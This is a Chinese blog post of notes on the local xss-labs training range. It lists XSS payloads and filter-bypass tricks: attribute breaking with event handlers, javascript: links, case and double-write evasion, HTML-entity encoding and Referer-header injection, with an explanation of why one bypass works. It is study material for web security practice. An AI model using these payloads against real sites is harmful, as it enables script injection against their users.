XSS笔记

这里写目录标题

  • 靶场环境部署
  • 用到的payload
  • 方法集锦
    • 基本思路,先插再说
    • 如下如何绕过
      • **1. 过滤机制分析**
      • **2. 为什么 `'οnmοusemοve='alert(/a/)'` 能绕过?**
      • **3. XSS 触发流程**
      • **4. 其他可能的绕过方式**
      • **5. 结论**
    • html编码绕过
    • 参数不合法
    • HTTP_REFERER
      • 抓包
      • 增加payload构造请求

靶场环境部署

  • phpstudy(网页运行环境)
  • xss-libs
    在这里插入图片描述

用到的payload

jankin<script> alert('a')</script>                              
jankin"><script>alert('a') </script>//                              
jankin'onmousemove='alert(/a/)'"                         
jankin"onmousemove='alert(/a/)'       <!-- 属性事件执行js-->'"><
"><a href="javascript:alert('1')">jankin</a>"     <!-- 超链接 构造伪协议执行js-->"><a Href="javascript:alert('1')"> jankin</a>"     <!-- 大小写绕过执行js-->"><a hrhrefef="javascripscriptt:alert('1')"> jankin</a>"   <!-- 双写绕过执行js-->&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x31;&#x27;&#x29;  <!--javascript:alert('1')的html编码绕过-->&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69; &#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x31;&#x27;&#x29;//http://   <!-- 检测是否存在关键字 加入关键字 绕过执行js-->t_sort='"onmousemove='alert(/1/)' type="text"//  <!--隐藏的参数寻找,表单隐藏属性-->

方法集锦

基本思路,先插再说

在这里插入图片描述

  • 找到含有的html位置

在这里插入图片描述

  • 元素闭合绕过

在这里插入图片描述

如下如何绕过

在这里插入图片描述

在这里插入图片描述
事件属性
你使用的绕过方式:

'onmousemove='alert(/a/)'"

成功触发了 XSS,说明原有的过滤机制存在漏洞,下面是详细分析。


1. 过滤机制分析

你的输入:

<script>alert('a')</script>

被服务器处理后变成:

<input name="keyword" value="<script>alert(" a')&lt;="" script&gt;'=""> 

说明:

  1. <script> 被保留,但 > 被转义成 &gt;,这表明服务器可能是 基于 HTML 转义 来防止 XSS,而不是彻底移除 <script> 标签。
  2. alert('a') 变成 alert(" a'),说明服务器在处理 单引号 ' 和双引号 " 时有问题。
  3. 输入内容嵌入到 value="...",所以 突破 value="..." 的限制 可能是绕过的关键。

2. 为什么 'onmousemove='alert(/a/)' 能绕过?

你的最终 XSS 代码:

'onmousemove='alert(/a/)'"

分析:

  • 由于服务器错误地解析 单引号 ' 和双引号 ",我们可以人为地闭合 value="..." 的引号,然后插入一个新的 HTML 事件。
  • <input> 标签中,onmousemove 是一个合法的 鼠标移动事件,可以触发 alert(/a/)
  • alert(/a/) 而不是 alert('a') 的原因
    • 某些 WAF 可能会拦截 alert('a'),但不会拦截 alert(/a/),因为 正则表达式 /a/ 不是常见的 XSS payload,从而绕过了过滤。

3. XSS 触发流程

假设最终的 HTML 结构变成:

<input name="keyword" value="X" onmousemove="alert(/a/)">
  • 用户鼠标移动到 input 框上 时,触发 onmousemove,执行 alert(/a/),从而成功执行 XSS。

4. 其他可能的绕过方式

如果 onmousemove 被拦截,可以尝试:

'onfocus='alert(1)' autofocus="
  • 这里 autofocusinput 框在页面加载时自动获得焦点,触发 onfocus="alert(1)"

如果事件属性受到严格过滤,可以尝试:

" onclick="eval('alert(1)')"

或者:

<img src=x onerror="alert(1)">

5. 结论

  • 你的绕过方式 onmousemove='alert(/a/)' 成功的关键在于:
    • 错误闭合 value="..." 的引号,让 onmousemove 变成了新的 HTML 事件。
    • 使用 alert(/a/) 而不是 alert('a') 避免 WAF 拦截
    • 事件 onmousemove 不受过滤,可以直接执行 JavaScript 代码。

这说明:

  • 服务器的 XSS 过滤机制基于 HTML 转义,但对 引号解析和事件注入处理不当,导致绕过成功。
  • 攻击者可以通过引号闭合 + 事件属性注入 + 变种 alert() 形式绕过防护

如果需要更进一步的绕过方式,可以继续测试 其他 HTML 事件(如 onmouseoveronfocus),以及 更隐蔽的 payload(如 eval()setTimeout())。

html编码绕过

在这里插入图片描述

html编码会被前端自动识别,前端会自动识别

在这里插入图片描述

参数不合法

在这里插入图片描述

在这里插入图片描述

HTTP_REFERER

在这里插入图片描述

抓包

在这里插入图片描述

增加payload构造请求

Referer:'"onmousemove='alert(/1/)' type="text"// 

在这里插入图片描述

在这里插入图片描述
复制出
http://burpsuite/repeat/1/a2x5lukxe71j8vfq4uaoowsifeffj7we

关掉抓包,访问http://localhost/level11.php?keyword=good%20job!,然后访问http://burpsuite/repeat/1/a2x5lukxe71j8vfq4uaoowsifeffj7we
在这里插入图片描述

就会ok

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/32992.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vs code配置 c/C++

1、下载VSCode Visual Studio Code - Code Editing. Redefined 安装目录可改 勾选创建桌面快捷方式 安装即可 2、汉化VSCode 点击确定 下载MinGW 由于vsCode 只是一个编辑器&#xff0c;他没有自带编译器&#xff0c;所以需要下载一个编译器"MinGW". https://…

音视频入门基础:RTP专题(18)——FFmpeg源码中,获取RTP的音频信息的实现(上)

由于本文篇幅较长&#xff0c;分为上、下两篇。 一、引言 通过FFmpeg命令可以获取到SDP描述的RTP流的的音频压缩编码格式、音频压缩编码格式的profile、音频采样率、通道数信息&#xff1a; ffmpeg -protocol_whitelist "file,rtp,udp" -i XXX.sdp 而由《音视频入门…

双指针算法介绍+算法练习(2025)

一、介绍双指针算法 双指针&#xff08;或称为双索引&#xff09;算法是一种高效的算法技巧&#xff0c;常用于处理数组或链表等线性数据结构。它通过使用两个指针来遍历数据&#xff0c;从而减少时间复杂度&#xff0c;避免使用嵌套循环。双指针算法在解决诸如查找、排序、去重…

如何安装旧版本的Pytorch

不同的项目所使用的Pytorch版本可能不同&#xff0c;一般而言&#xff0c;高版本的Pytorch可以向下兼容的&#xff0c;但有时可能会需要旧版本的Pytorch。 1、首先进入Pytorch官网&#xff08;PyTorch&#xff09;&#xff0c;下滑找到” install previous versions of PyTorc…

Easysearch 使用 AWS S3 进行快照备份与还原:完整指南及常见错误排查

Easysearch 可以使用 AWS S3 作为远程存储库&#xff0c;进行索引的快照&#xff08;Snapshot&#xff09;备份和恢复。同时&#xff0c;Easysearch 内置了 S3 插件&#xff0c;无需额外安装。以下是完整的配置和操作步骤。 1. 在 AWS S3 上创建存储桶 登录 AWS 控制台&#x…

Nginx + Keepalived 高可用集群

一、NginxKeepalived 原理 1.1.Nginx 负载均衡机制 Nginx 是一款轻量级且高性能的 Web 服务器和反向代理服务器&#xff0c;在负载均衡方面有着卓越的表现。其具备强大的七层流量管理能力&#xff0c;能够基于 URL、Cookie、HTTP 头信息等对请求进行精准路由。例如&#xff0…

面试提问(1)

面试提问 1.你能说一说C/C之间的区别吗&#xff1f;2.你能将一些你对构造函数和析构函数的认识吗&#xff1f;3.讲一下继承和多态4.你了解TCP/IP四层网络模型吗&#xff1f;5.你了解三次握手和四次挥手吗&#xff1f;6.讲一下进程和线程&#xff1f;7.你对二叉树的了解有哪些&a…

Adobe Genuine Service Alert 一直弹窗,老是一直弹窗【解决方法】

在使用Adobe系列软件时&#xff0c;若没有正版授权&#xff0c;则会出现弹窗&#xff0c;该弹窗是由Adobe Genuine Service软件弹出的&#xff0c;且该弹窗无法关闭&#xff0c;下文介绍如何永久关闭该弹窗。 方法一&#xff1a; 首先在任务栏鼠标右键打开任务管理器&#xff…

防汛应急包,快速响应,守护安全

根据中国水利部统计&#xff0c;自1949年以来&#xff0c;我国几乎每年都面临洪水威胁&#xff0c;其中20世纪90年代后洪涝灾害频率显著增加&#xff0c;仅1990-2009年间就发生超4000起较大灾害&#xff0c;直接经济损失近3万亿元&#xff0c;受灾人口达20亿人次。在2020年长江…

一文了解JVM的垃圾回收

Java堆内存结构 java堆内存是垃圾回收器管理的主要区域&#xff0c;也被称为GC堆。 为了方便垃圾回收&#xff0c;堆内存被分为新生代、老年代和永久代。 新创建的对象的内存会在新生代中分配&#xff0c;达到一定存活时长后会移入老年代&#xff0c;而永久代存储的是类的元数…

【人工智能 | 大数据】基于人工智能的大数据分析方法

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈智能大数据分析 ⌋ ⌋ ⌋ 智能大数据分析是指利用先进的技术和算法对大规模数据进行深入分析和挖掘&#xff0c;以提取有价值的信息和洞察。它结合了大数据技术、人工智能&#xff08;AI&#xff09;、机器学习&#xff08;ML&a…

【C语言】编译和链接详解

hi&#xff0c;各位&#xff0c;让我们开启今日份博客~ 小编个人主页点这里~ 目录 一、翻译环境和运行环境1、翻译环境1.1预处理&#xff08;预编译&#xff09;1.2编译1.2.1词法分析1.2.2语法分析1.2.3语义分析 1.3汇编1.4链接 2.运行环境 一、翻译环境和运行环境 在ANSI C…

在Simulink中将Excel数据导入可变负载模块的方法介绍

文章目录 数据准备与格式要求Excel数据格式MATLAB预处理数据导入方法使用From Spreadsheet模块(直接导入Excel)通过MATLAB工作区中转(From Workspace模块)使用1-D Lookup Table模块(非线性负载映射)Signal Builder模块(变载工况导入)可变负载模块配置注意事项与调试在S…

Java 大视界 -- Java 大数据在智慧文旅虚拟导游与个性化推荐中的应用(130)

&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…

【微知】tmux如何在一个会话的1个窗口中水平分割或者垂直分割窗口?(垂直 Ctrl + b, %; 切换Ctrl + b, 方向键; ctrl d关闭)

背景 除了直接创建窗口&#xff0c;还可以分割一个窗口。创建窗口参考兄弟篇&#xff1a;tmux如何在某个会话session中创建多个窗口&#xff1f;如何切换&#xff1f;&#xff08;Ctrlb c创建&#xff1b;Ctrlb 数字 切换&#xff1b;Ctrlb &关闭&#xff09; 命令 垂…

强化学习(赵世钰版)-学习笔记(7.时序差分学习)

本章是课程算法与方法中的第四章&#xff0c;介绍的时序差分学习算法是基于随机近似方法设计的强化学习方法&#xff0c;也是model-free的方法。 时序差分算法是一种近似估计策略状态值的算法&#xff0c;具体的形式如下&#xff1a; 本质上是在当前t时刻&#xff0c;被访问到的…

无公网IP也能远程控制Windows:Linux rdesktop内网穿透实战

文章目录 前言1. Windows 开启远程桌面2. Linux安装rdesktop工具3. Win安装Cpolar工具4. 配置远程桌面地址5. 远程桌面连接测试6. 设置固定远程地址7. 固定地址连接测试 前言 如今远程办公已经从一种选择变成了许多企业和个人的必修课&#xff0c;而如何在Linux系统上高效地访…

深度学习与大模型-矩阵

矩阵其实在我们的生活中也有很多应用&#xff0c;只是我们没注意罢了。 1. 矩阵是什么&#xff1f; 简单来说&#xff0c;矩阵就是一个长方形的数字表格。比如你有一个2行3列的矩阵&#xff0c;可以写成这样&#xff1a; 这个矩阵有2行3列&#xff0c;每个数字都有一个位置&a…

【实战ES】实战 Elasticsearch:快速上手与深度实践-8.2.1AWS OpenSearch无服务器方案

&#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 文章大纲 8.2.1AWS OpenSearch 无服务器方案深度解析与实践指南1. Serverless架构的核心价值与行业趋势1.1 传统Elasticsearch集群的运维挑战1.2 Serverless技术演进路线技术特性对比…

使用 Arduino 和 ESP8266 Wi-Fi 模块发送电子邮件

使用 Arduino Uno 和 ESP8266 Wi-Fi 模块发送电子邮件 我们正在迈向物联网 (IoT) 世界。这项技术在电子和嵌入式系统中起着非常重要的作用。从任何微控制器或嵌入式系统发送电子邮件都是非常基本的事情,这在 IoT 中是必需的。因此,在本文中,我们将学习“如何使用 Wi-Fi 和…